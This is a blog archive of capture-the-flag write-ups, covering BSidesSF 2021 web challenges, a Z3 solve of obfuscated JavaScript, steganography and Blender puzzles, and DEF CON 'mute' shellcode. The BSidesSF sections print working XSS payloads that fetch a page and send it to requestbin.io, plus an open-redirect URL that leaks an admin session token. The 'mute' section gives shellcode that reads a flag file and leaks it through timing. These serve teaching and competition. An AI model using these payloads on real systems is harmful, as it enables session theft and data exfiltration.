Showing posts with label fun. Show all posts
Showing posts with label fun. Show all posts

Monday, March 15, 2021

BSidesSF 2021 - Web Challenges

CuteSRV (101)

Description:
Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!

https://cutesrv-0186d981.challenges.bsidessf.net

(author: matir)

This challenge was fun, cute and straight-forward once the bug is found.

First we're presented with a page of cute photos and the nav bar allows us to Login or Submit a new image for review.

Looking in the source, there's a /flag.txt route which must be the goal of the challenge, but when visiting it we get a message 'Not Authorized'.

If we visit Login we can click the only link available and it will automatically log us in and redirect us to the main page.

on /submit it gives us the ability to submit a URL which the admin will visit. This is typical in a lot of CSRF challenges, so we can start by checking the User-Agent and other features when it visits our link, pointing to a server we own or using something like https://requestbin.io/.

Even if we find XSS, the site is using HttpOnly cookies, so we probably need to find something else.

Checking out the Login route again while watching the requests, it does something interesting. When requesting /check from the login service it will include the session token in the URL, but does not restrict which URL it redirects to. Using this bug we can force the Admin user to send their own session token to our site instead.

We can use RequestBin again to steal the session token authtok, submitting this link to the admin:

https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1

Now we can reach the /flag.txt route which is only available to the admin:

curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \
-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ' 

And we get the Flag!

FLAG: CTF{i_hope_you_made_it_through_2020_okay}

CSP 1 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-1-581db2b1.challenges.bsidessf.net

(flag path: /csp-one-flag)

(author: itsc0rg1)

If we look at the Content Security Policy (CSP) for this page, we can see it's very open. To identify this, you can learn each rule or use a tool such as https://csp-evaluator.withgoogle.com/.

The CSP in this case was:

default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *

The unsafe-inline keyword will allow execution of arbitrary inline scripts.

Let's start with a simple XSS payload:

<img src=x onerror=alert(1) />

This already works! So now we only need to get the flag from the /csp-one-flag route after the admin visits it. We can use fetch for this. We'll also use https://requestbin.io/ again.

Here's the final payload submitted to the admin:

<img src=x onerror='fetch("/csp-one-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/yj1y96yj?x=" + t))' />

And we get a flag back on the RequestBin side:

CTF{Can_Send_Payloads}

CSP 2 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-2-f692634b.challenges.bsidessf.net

(flag path: /csp-two-flag)

(author: itsc0rg1)

This challenge was simmilar to the last one where we need to send an XSS payload to an admin to get the flag.

Checking the CSP this time we have:

script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

This one has the issue of using script-src from cdnjs.cloudflare.com. If we can use a script from CloudFlare to execute arbitrary JS, we win!

To do this we can use Angular to evaluate JS within an Angular context. Here's a simple example to test:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('alert(1)')()}}

This payload seems to work!

Now we just need to exfiltrate the flag like the last challenge using fetch.

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}

Then we get the Flag on RequestBin:

CTF{Can_Still_Pwn}

Wednesday, April 18, 2018

Byte Bandits CTF 2018 - laz3y (350)


In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.

We're going to jump into an intro of Z3 to solve parts of this challenge after some initial reversing.

If you would like to watch a better version of the topics discussed in this blog post, check out LiveOverflow's great video on "Using z3 to find a password and reverse obfuscated JavaScript" - https://www.youtube.com/watch?v=TpdDq56KH1I. It helped a lot when attempting to solve this challenge.


Reversing


Here's a snippet of the file which was beautified using the online service jsnice:

(function() {
    _0x13c3dd(this, function() {
        if (_0x15c2('0x7') === _0x15c2('0x7')) {
            var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
            var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
            var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
            if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
                if (_0x15c2('0x9') === _0x15c2('0x9')) {
                    _0x53dbc9('0');
                } else {
                    return !![];
                }
            } else {
                if ('CJMng' === _0x15c2('0xa')) {
                    _0x4f7527();
                } else {
                    return !![];
                }
            }
        } else {
            return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
        }
    })();
}());

We can jump to potentially interesting parts of the code to find out what's going on.

One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:

var _0x387a = ["GfKdJ", ... "slice", "tryingharder", "Flag{", "log", "Invalid Password", "pDsTn", "UOAuo", ... ];

There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the Z3 SMT solver.

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/[_0xd1e9[9]](value) &&
      value[29] == _0xd1e9[10] &&
      value[4] == value[8] &&
      value[10] == value[14] &&
      value[17] == _0xd1e9[11] &&
      value[4] == _0xd1e9[11] &&
      leng(value) &&
      crypto(value) &&
      a(value) &&
      b(value) &&
      c(value) &&
      d(value) &&
      f(value)) {
    if (_0x15c2("0x26") === _0x15c2("0x26")) {
      console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
    } else {
      return !![];
    }
  } else {
    if (_0x15c2("0x27") !== "DbvWm") {
      /** @type {!Function} */
      var advancement = firstCall ? function() {
        if (fn) {
          var denies = fn[_0x15c2("0xd")](context, arguments);
          /** @type {null} */
          fn = null;
          return denies;
        }
      } : function() {
      };
      /** @type {boolean} */
      firstCall = ![];
      return advancement;
    } else {
      console[_0xd1e9[14]](_0xd1e9[15]);
    }
  }
}

Executing the script in a stub html file and looking at the following value we can see it's just a console.log pulled from one of the obscure array's:

console[_0xd1e9[14]](_0xd1e9[15]);
...
console['log']("Invalid Password");

The same is with the first condition after all the conditional checks:

console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
...
console['log']("Flag{" + value + "}");


There are also a lot of false flows in this obfuscated code, so we can reduce this function to the following:

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/.test(value) &&
    value[29] == "!" &&
    value[4] == value[8] &&
    value[17] == "_" &&
    value[4] == "_" &&
    leng(value) &&
    crypto(value) &&
    value[10] == value[14] &&
    a(value) &&
    b(value) &&
    c(value) &&
    d(value) &&
    f(value)) {
      console.log("Flag{" + value + "}");
  } else {
      console.log("Invalid Password");
  }
}

Now we need to analyze each one of these functions to make sure we can setup input to make it pass.

Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:

function crypto(context) {
  var val = "";
  var row = context.slice(18, 29);
  var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];

  for (var i = 0; i <= row.length; i++) {
    val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
  }

  return val == "tryingharder";
}

Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.

Reversing this process, we'll get the expected value for part of the flag:

$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'


Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):

190     value[29] == "!" &&           //X// payload[29]         = '!'
191     value[4] == value[8] &&       //X// 08 & 04             = '_'
192     value[17] == "_" &&           //X// payload[17]         = '_'
193     value[4] == "_" &&            //X// payload[4]          = '_'
194     leng(value) &&                //X// len(payload)       == 30
195     crypto(value) &&              //X// payload[18:29]     == 0bfuscati0n
196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
198     b(value) &&                   //X// p[12] == p[15] &&
199                                   //X// p[11] == "l" &&
200                                   //X// p[12] == "0" &&
201                                   //X// p[13] == "T" &&
202                                   //X// p[0]  == p[13]
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


We only have five constraints to solve for!  With the other values, we get the following partial flag from the static analysis done so far:

T???_???_??l0T?0?_0bfuscati0n!



Z3 Solve


If you haven't heard of Z3 before, check out the Z3-Playground repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.

Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.

from z3 import *

a, b = BitVecs('a b', 32)
s = Solver()

s.add((a + b) == 1337)
s.add(b > 20)

if s.check() == sat:
    print s.model()
else:
    print 'Unsat'

Letting z3 solve for this, it will return input which satisfies these constraints:

$ python hello.py
[b = 21, a = 1316]

The values 21 and 1316 do sum to 1337, so it looks like this works!

Now we can get into solving this challenge!

Instead of using BitVecs for variables, we'll be using integer values representing characters.
Initializing the unknown flag, we use the z3 Int type:

flag = [Int(i) for i in xrange(30)]


If you remember from above, the important constraints we need to setup are:

196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


Changing 'p' to 'flag' and wrapping a solve add around them will get us most of the way there:

s.add(flag[10] ≡ flag[14])
s.add(flag[3] - flag[0] ≡ 32)
s.add(flag[5] - flag[12] == 71)
s.add(flag[9] + flag[6] - flag[1] ≡ 58)
s.add((flag[0] * flag[1] * flag[2] * flag[3]) / 128 ≡ 767949)
s.add((flag[5] * flag[6] * flag[7]) / 25 ≡ 35581)

There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.

We should also setup the parts of the flag we know about already:

partial = 'T???_???_??l0T?0?_0bfuscati0n!'

for x in range(len(partial)):
  if partial[x] is not '?':
    s.add(flag[x] ≡ ord(partial[x]))

And setup the flag to be within a printable range:

for x in range(0, 30):
  s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))

With all of this setup, we could attempt to print the flag (converting ints to chars in the process):

if s.check() == sat:
  m = s.model()
  print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
  print 'Not Found.'

This yields:

Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}

This is very close! But not there yet! There are a few errors to work out.
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.

So for this we'll setup a constraint against it:

s.add(flag[9] != ord('/'))
...
Flag{Taht_wsA_(zl0Tz0z_0bfuscati0n!}

Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:

s.add(flag[1] == ord('h'))
...
Flag{That_wAs_azl0Tz0z_0bfuscati0n!}

If we look at 'wAs_azl0T', it looks like the words 'was a lot' so there's a missing space between 'a' and 'lot', we'll add this with an underscore:

s.add(flag[10] == ord('_'))

Now when we run this we get the Flag!

Flag{That_wAs_a_l0T_0z_0bfuscati0n!}

This was the final Z3 client for the solve:

Monday, March 12, 2018

N1CTF 2018 - Lipstick


This challenge was very interesting! It included multiple types of stego and some web scraping.

We're given the image shown above. Looking very innocuous with flat colors, it seems one would try to hide lsb data in it. Let's try zsteg to extract some values:

$ zsteg -a 603fda27-2893-4e60-9d9f-39962b8c8440.png

b1,bgr,lsb,xy       .. text: "flag.txt"
b2,g,lsb,xy         .. file: 5View capture file
b2,g,msb,xy         .. file: VISX image file
b2,b,msb,xy         .. text: "UUuUUWUUUUUuUUUU"
b2,bgr,lsb,xy       .. text: "AAAP@QUDQ"
b3,b,lsb,xy         .. file: GLS_BINARY_MSB_FIRST
b4,r,lsb,xy         .. text: "UDTTUEEDDEDEUEDDTEDETDEDDEDDDDTDUEEETDUDEUDDDDDDDDDDDDUDDDDDDDDDDDDDDDDDDDD\"322\"223##\"\"\"\"\"\"\"\"\"\"\"\"#\"#\"\"\"3\"#"
b4,r,msb,xy         .. text: "333333333;"
b4,g,lsb,xy         .. file: 5View capture file
b4,g,msb,xy         .. file: VISX image file
b4,b,msb,xy         .. text: ["w" repeated 12 times]
b6,g,msb,xy         .. text: "4ES4EQ4MS4M"

Looks like one of the first hits is promising! "flag.txt", maybe we should extract that portion alone, first let's inspect it.

Passing the -v flag into zsteg, we can get the hex dump of that extraction:

zsteg -v 603fda27-2893-4e60-9d9f-39962b8c8440.png b1,bgr,lsb,xy
b1,bgr,lsb,xy       .. text: "flag.txt"
    00000000: 00 00 00 00 00 00 00 e3  50 4b 03 04 14 00 01 08  |........PK......|
    00000010: 08 00 70 42 67 4c 37 20  ff 48 4d 00 00 00 43 00  |..pBgL7 .HM...C.|
    00000020: 00 00 08 00 00 00 66 6c  61 67 2e 74 78 74 ce 98  |......flag.txt..|
    00000030: 5e 65 7a ba 27 91 a6 eb  1b 25 54 f3 b9 6d 0f ca  |^ez.'....%T..m..|
    00000040: 78 7c 20 6a 79 e8 39 99  c8 df ad 3d 9a c8 4b fc  |x| jy.9....=..K.|
    00000050: 53 1d db 6e 95 9d 07 ae  1c 91 eb fe a7 18 33 00  |S..n..........3.|
    00000060: 9e f5 12 8e 7f c6 e6 7e  1a c8 3d cf 94 97 2f b0  |.......~..=.../.|
    00000070: 96 64 f3 a7 d1 94 64 23  98 3f 47 50 4b 01 02 3f  |.d....d#.?GPK..?|
    00000080: 00 14 00 01 08 08 00 70  42 67 4c 37 20 ff 48 4d  |.......pBgL7 .HM|
    00000090: 00 00 00 43 00 00 00 08  00 24 00 00 00 00 00 00  |...C.....$......|
    000000a0: 00 20 00 00 00 00 00 00  00 66 6c 61 67 2e 74 78  |. .......flag.tx|
    000000b0: 74 0a 00 20 00 00 00 00  00 01 00 18 00 5b d9 a1  |t.. .........[..|
    000000c0: f6 a9 b5 d3 01 a5 f5 f6  76 a9 b5 d3 01 a5 f5 f6  |........v.......|
    000000d0: 76 a9 b5 d3 01 50 4b 05  06 00 00 00 00 01 00 01  |v....PK.........|
    000000e0: 00 5a 00 00 00 73 00 00  00 00 00 92 49 24 92 49  |.Z...s......I$.I|
    000000f0: 24 92 49 24 92 49 24 92  49 24 92 49 24 92 49 24  |$.I$.I$.I$.I$.I$|

On the top there's PK, that's the magic byte for zip! A zip hidden in lsb.

Extracting it with zsteg we have some trailing bytes, we can extract the zip itself with binwalk and verify using 7z:

$ zsteg 603fda27-2893-4e60-9d9f-39962b8c8440.png -E b1,bgr,lsb,xy > out
$ binwalk -e out
$ cd _out.extracted
$ 7z l 8.zip

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-03-06 17:19:31 ....A           67           77  flag.txt
------------------- ----- ------------ ------------  ------------------------
2018-03-06 17:19:31                 67           77  1 files


Next we needed to get the password. At this point we could assume they decided to go with a value from rockyou.txt, but asking the admins it turned out there was another part to the challenge missing.

Reframing with the idea of the challenge named "Lipstick" it seemed to suggest more than just lsb. There are 21 colors, which may map to some character for the zip, but we would need to map the colors to numbers somehow. It is also important for the stego designer to make this somewhat deterministic.

Looking through the color channels again in StegSolve, this turns up:


YSL: Yves Saint Laurent. A recognizable fashion brand which sells lipstick. This may lead us to something predictable!

Looking for lipstick on their online store we can find the full color palette - example.


The other interesting part here is that these colors have clear class names and distinct background colors.  This is perfect for identifying colors in the challenge!

Here's a small script which was used to scrape the colors from the palette:

a = {};

for (let i=0; i<59; ++i) {
  a[$('.swatch_color')[i].style['background-color']] = $('.swatch_color')[i].title;
}

JSON.stringify(a, null, 2);

This gives us a convenient JavaScript object we may query:

{
  "rgb(188, 11, 40)": "1 Le Rouge - Blood Red (Satin)",
  "rgb(184, 52, 75)": "04 Rouge Vermillon - Raspberry Red (Satin)",
  "rgb(221, 136, 133)": "06 Rose Bergamasque - Delicate Nude Pink (Satin)",
  "rgb(207, 26, 119)": "7 Le Fuchsia - Pure Saturated Fuschia (Satin)",
  "rgb(206, 135, 133)": "10 Beige Tribute - Dark Nude (Satin)",
  "rgb(194, 105, 111)": "11 Rose Carnation - Soft Peony Rose (Satin)",
  "rgb(213, 29, 55)": "13 Le Orange - Bright Orange (Satin)",
  "rgb(234, 94, 107)": "17 Rose Dahlia - Coral Orange (Satin)",
  "rgb(161, 24, 96)": "19 Fuchsia Pink - Bright Fuschia Pink (Satin)",
  "rgb(238, 133, 199)": "22 Pink Celebration - Bubble Gum Pink (Satin)",
  "rgb(235, 130, 98)": "23 Coral Poetique - Pink Coral (Satin)",
  "rgb(233, 152, 131)": "24 Blond Ingenu - Frosted Coral (Satin)",
  "rgb(218, 116, 155)": "26 Rose Libertin - Bright Purple Pink (Satin)",
  "rgb(208, 65, 121)": "27 Fuchsia Innocent - Hot Pink (Satin)",
  "rgb(235, 105, 92)": "36 Corail Legende - Orange Coral (Satin)",
  "rgb(202, 102, 174)": "49 Tropical Pink - Hot Pink (Satin)",
  "rgb(212, 18, 29)": "50 Rouge Neon - Bright Red (Satin)",
  "rgb(235, 85, 71)": "51 Corail Urbain - Medium Peach Orange (Satin)",
  "rgb(246, 98, 96)": "52 Rosy Coral - Rosy Coral (Satin)",
  "rgb(126, 69, 58)": "53 Beige Promenade - Browd Red (Satin)",
  "rgb(94, 35, 41)": "54 Prune Avenue - Dark Maroon (Satin)",
  "rgb(193, 9, 43)": "56 Orange Indie - Mauve (Satin)",
  "rgb(192, 8, 62)": "57 Luminous Pink - Magenta (Satin)",
  "rgb(165, 63, 103)": "58 Luminous Mauve - Bubblegum Pink (Satin)",
  "rgb(212, 122, 111)": "59 Golden Melon - Golden Orange (Satin)",
  "rgb(170, 64, 64)": "66 Rosewood - Soft Pink Nude (Satin)",
  "rgb(220, 53, 77)": "67 Rouge Heroine - Gold Metallic (Satin)",
  "rgb(203, 132, 123)": "70 Le Nu - Basic Nude (Satin)",
  "rgb(148, 23, 41)": "72 Rouge Vinyle - Deep Raspberry (Satin)",
  "rgb(215, 11, 22)": "73 Rhythm Red - Magenta Pink (Satin)",
  "rgb(229, 35, 23)": "74 Orange Electro - Electric Orange (Satin)",
  "rgb(183, 48, 62)": "75 Rose Mix - Deep Rose (Satin)",
  "rgb(209, 50, 116)": "76 Explicit Pink - Spring Pink (Satin)",
  "rgb(206, 10, 74)": "77 Fuschia Live - Blush Rose (Satin)",
  "rgb(161, 0, 6)": "201 Orange Imagine - Orange Red (Matte)",
  "rgb(161, 0, 52)": "202 Rose Crazy - Cranberry Red (Matte)",
  "rgb(167, 11, 35)": "203 Rouge Rock - Rich Red (Matte)",
  "rgb(131, 35, 37)": "204 Rouge Scandal - Maroon Red (Matte)",
  "rgb(97, 37, 29)": "206 Grenat Satisfaction - Brown Red (Matte)",
  "rgb(184, 20, 70)": "208 Fuchsia Fetiche - Raspberry Red (Matte)",
  "rgb(231, 51, 37)": "213 Orange Seventies - Orange with Brown undertones (Matte)",
  "rgb(215, 91, 89)": "214 Wood On Fire - Pinky Nude (Matte)",
  "rgb(184, 38, 59)": "216 Red Clash - Mauvey Red (Matte)",
  "rgb(201, 88, 108)": "217 Nude Trouble - Mauvey Beige (Matte)",
  "rgb(203, 93, 70)": "218 Coral Remix - Coral Nude (Matte)",
  "rgb(195, 1, 9)": "219 Rouge Tatouage – Vibrant Pink Red (Matte)",
  "rgb(230, 26, 1)": "220 Crazy Tangerine – Electric Orange (Matte)",
  "rgb(106, 19, 25)": "222 Black Red Code – Rust Red (Matte)",
  "rgb(51, 26, 19)": "225 - Minimal Black - Matte Finish - Black (Matte)",
  "rgb(165, 106, 92)": "340 Golden Copper - Reddish Pink (Satin)",
  "rgb(163, 77, 86)": "09 Rose Stiletto - Rich Berry Rose (Satin)",
  "rgb(92, 47, 44)": "205 Prune Virgin - Burgundy (Matte)",
  "rgb(174, 67, 95)": "207 Rose Perfecto - Blush Pink (Matte)",
  "rgb(226, 0, 74)": "211 Decadent Pink - Bright Pink (Matte)",
  "rgb(126, 32, 50)": "212 Alternative Plum - Burgundy Wine (Matte)",
  "rgb(207, 44, 125)": "215 Lust For Pink - Purple Bubblegum Pink (Matte)",
  "rgb(214, 0, 112)": "221 Rose Ink – Deep Mauve Pink (Matte)",
  "rgb(232, 11, 44)": "223 Corail Anti-Mainstream – Neon Coral (Matte)",
  "rgb(219, 90, 121)": "224 Rose Illicite – Creamy Dusty Pink (Matte)"
}

We can now query this based on values found inside the image. But how do we get those values in the image? At first trying macOS's digital color picker didn't work too well, instead let's use Python!

from PIL import Image

im = Image.open('603fda27-2893-4e60-9d9f-39962b8c8440.png')
rgb_im = im.convert('RGB')

for x in range(0, 21):
  r, g, b = rgb_im.getpixel((50 + (150 * x), 1))
  print(r, g, b)

This yields:

(188, 11, 40)
(208, 65, 121)
(212, 122, 111)
(194, 105, 111)
(235, 130, 98)
(207, 26, 119)
(192, 8, 62)
(188, 11, 40)
(188, 11, 40)
(209, 50, 116)
(106, 19, 25)
(188, 11, 40)
(188, 11, 40)
(212, 18, 29)
(215, 91, 89)
(221, 136, 133)
(206, 10, 74)
(212, 18, 29)
(126, 69, 58)
(215, 91, 89)
(221, 136, 133)

Now we can grep for each color in the JSON result, and produce integer values for each color's associated edition number:

$ IFS=$'\n'; for i in `cat image-colors` ; do grep $i ./lipsticks.json >> found; done
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//'
1
27
59
11
23
7
57
1
1
76
222
1
1
50
214
6
77
50
53
214
6
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | tr -d '\n'
1275911237571176222115021467750532146

Attempting this number didn't work for the password. Another hint came out about using binary, let's try with that:

$ cat found | cut -d: -f1 | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])'
1011111101011111001011100010101000101100011010100101010111001000111001010101101011100

Still doesn't work. Maybe we need to convert this to the character representation:

$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])' | perl -lpe '$_=pack"B*",$_'
白学家

Then extracting the archive we scraped earlier using this password, we get the flag:

$ cat flag.txt
flag{White_Album_is_Really_worth_watching_on_White_Valentine's_Day}

Tuesday, March 6, 2018

Pragyan CTF 2018 - INTO THE NEXT DIMENSION (250)



This was a very interesting challenge, had a lot of fun stepping through it.
First checking the file format, it looks like we have an FBX file exported from Blender:

$ strings -n 40 way_out.obj
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13R
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13

Blender is free open-source 3D software, grab a copy here - https://www.blender.org/
This was the challenge description:

Alice is stuck in a two-dimensional world and somehow needs to escape into reality, our three-dimensional world. In order to do so, she must crack a code hidden inside a file(named 'way_out.obj'). The only clues the two-dimensional Gods have given her is this:

clue_begin

0 - P(100, -5, 321), R(0, 90, 0) => pctf{
1 - P(-50, -33, 77), R(90, 0, 0)
2 - P(123, -5, 68), R(60, 30, 0)
3 - P(-89, 90, 0), R(34, 23, 32)
4 - P(-39, 40, 40), R(44, 55, 66)
P(111, 222, 333)
5-10 - Ears, eyes, nose and mouth
11 - Inside the key => 3}

You will never find a way out without colors.

clue_end

Help Alice get back to reality and hence find the flag. Good luck (Y).


Without opening the file yet, the clues look like 3D coordinates which may provide parts of the flag.
The vague "Ears, eyes, nose and mouth" clue is worrisome, but we'll get to that later.

Opening Blender we get a cube in the middle of the scene:


First we need to rename the way_out.obj to way_out.fbx for Blender to recognize it.
Deleting this cube and going to File > Import > FBX (.fbx) we can import our way_out.fbx file.


It looks like we have some nodes entering the scene including multiple Objects, Clues and a Key.

If we press the z key, it will turn off shading and go into wireframe mode.  We can zoom into see the first clue within the Key object:


Converting this to ASCII is simple with some python:

$ python
>>> chr(0b00110011) + chr(0b01111101)
'3}'

Looking back at the challenge description, we see 'Inside the key => 3}', which is now validated.
In the distance we can also see that cone includes some clues in it as well.


Now we have a bunch of coordinates in the description, we need to get around in this scene somehow.
We'll use the camera for that, if we zoom back out we can see the camera object to select:


With the camera selected, we can enable the Objects panel in the bottom right section of the UI:


This will allow us to transform the camera and move around the scene with ease.
We'll have to enable the camera by going to the bottom right View > Camera menu item.




Right now we'll want to enable shading again by hitting the 'z' key (this will become important soon) so we can see material colors.

Let's visit the first coordinate listed in the clues:

0 - P(100, -5, 321), R(0, 90, 0) => pctf{

To do this, we'll enter these coordinates in the Location & Rotation fields of the Object Panel:


We get this..... Not too useful....


If we zoom out slightly we see our first green value P(101.37,-5.31,320.99002), R(69,90,-1.6):



As the clue above hints at this also decodes to 'pctf{'.  Great! We're getting somewhere!

It's also worth noting at this point, the red values do not decode correctly to printable characters.
The hint mentions "You will never find a way out without colors." which in this context means -   green = good; red = ignore.

Next we'll go to #1, entering the coords we land inside a cube with a single character inside the clipping plane (for the remainder of challenges we'll use this plane as a boundary guide):


This decodes to '3'.

On the next one we have to zoom in a little (mouse wheel), also includes a red herring:


This decodes to 'd'.  Hey! we got 3d, maybe the flag spells something ; )

For #3, this was another where the camera is out of view because it landed right on top of the bits:


This is '>'.


With #4 we're placed between two objects, we need to zoom out slightly to check the green bits:


This is '2'.

Now we're at the dreaded monkey!  From the clues with vague descriptions:


Going into wireframe mode ('z') and clicking the clues in the object list we see where they are:



If you press spacebar, type separate, enter > by material, we'll be able to split these meshes into groups based on red & green, this could help soon.  We can also select the monkey and separate 'by loose parts' so we can select the head and use focus to work on that object alone.





We can also press the 'h' key on the monkey mesh to hide it while we work with the bits, that may also help.

The rest will be abbreviated.  We'll just need to travel from right to left for each entity copying the green values:



These decode to 'df0l1f', wrapping up the remaining pieces of the flag.

Adding everything together, we get the full flag:

pctf{3d>2df0l1f3}

Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa



Monday, April 24, 2017

PlaidCTF 2017 - no_mo_flo (125)

On this challenge, we're given a binary to reverse called 'no_flo'. Based on your input you get one of two results:

# Failure:
You aint goin with the flow....

# Success:
Good flow!!

When you get the flag it will print 'Good flow!!' otherwise it will print the failure case.

